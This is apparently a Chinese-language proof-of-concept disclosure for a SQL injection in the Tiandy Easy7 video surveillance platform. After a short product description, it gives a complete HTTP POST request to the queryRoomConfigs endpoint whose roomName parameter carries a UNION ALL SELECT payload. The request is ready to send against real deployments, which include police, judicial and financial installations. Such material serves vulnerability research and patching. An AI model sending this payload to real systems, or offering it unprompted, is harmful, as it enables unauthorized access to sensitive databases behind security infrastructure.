天地伟业Easy7是一款由天津天地伟业数码科技有限公司开发的视频监控管理平台，提供视频监控、报警管理、设备管理、视频智能分析等核心功能，支持多种品牌摄像头和安防设备的接入与统一管理，广泛应用于公安、交通、司法、教育、金融等行业的安防监控领域。天地伟业Easy7 /Easy7/rest/inquestRoom/queryRoomConfigs 接口存在SQL注入漏洞，攻击者可通过roomName参数构造恶意的SQL语句，利用UNION ALL SELECT进行联合查询注入，获取数据库敏感信息。
POST /Easy7/rest/inquestRoom/queryRoomConfigs HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cache-Control: max-age=0
roomName=' union all select md5(29836),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- OuaM
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.